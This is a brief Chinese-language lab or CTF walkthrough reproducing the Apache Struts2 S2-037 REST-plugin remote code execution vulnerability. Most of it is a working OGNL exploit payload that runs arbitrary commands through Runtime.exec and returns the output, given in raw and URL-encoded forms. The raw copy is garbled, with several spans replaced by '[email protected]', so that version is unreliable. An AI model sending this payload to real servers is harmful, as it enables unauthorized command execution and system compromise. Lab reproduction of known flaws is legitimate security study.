0x29. Apache Struts2远程代码执行漏洞(S2-037)复现

s2-037:使用REST插件启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式;使用http://localhost:8080/1/XXX这种请求方式,XXX可以是任何合法的名字 ,通过将XXX构造为OGNL执行命令;

poc:

#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRuntime().exec(#parameters.command[0]),#ros=(@[email protected]().getOutputStream()),@[email protected](#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=ls

编码后:

%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls

列出目录;

0x29. Apache Struts2远程代码执行漏洞(S2-037)复现

构造命令得到key值;

0x29. Apache Struts2远程代码执行漏洞(S2-037)复现

或直接使用工具检测;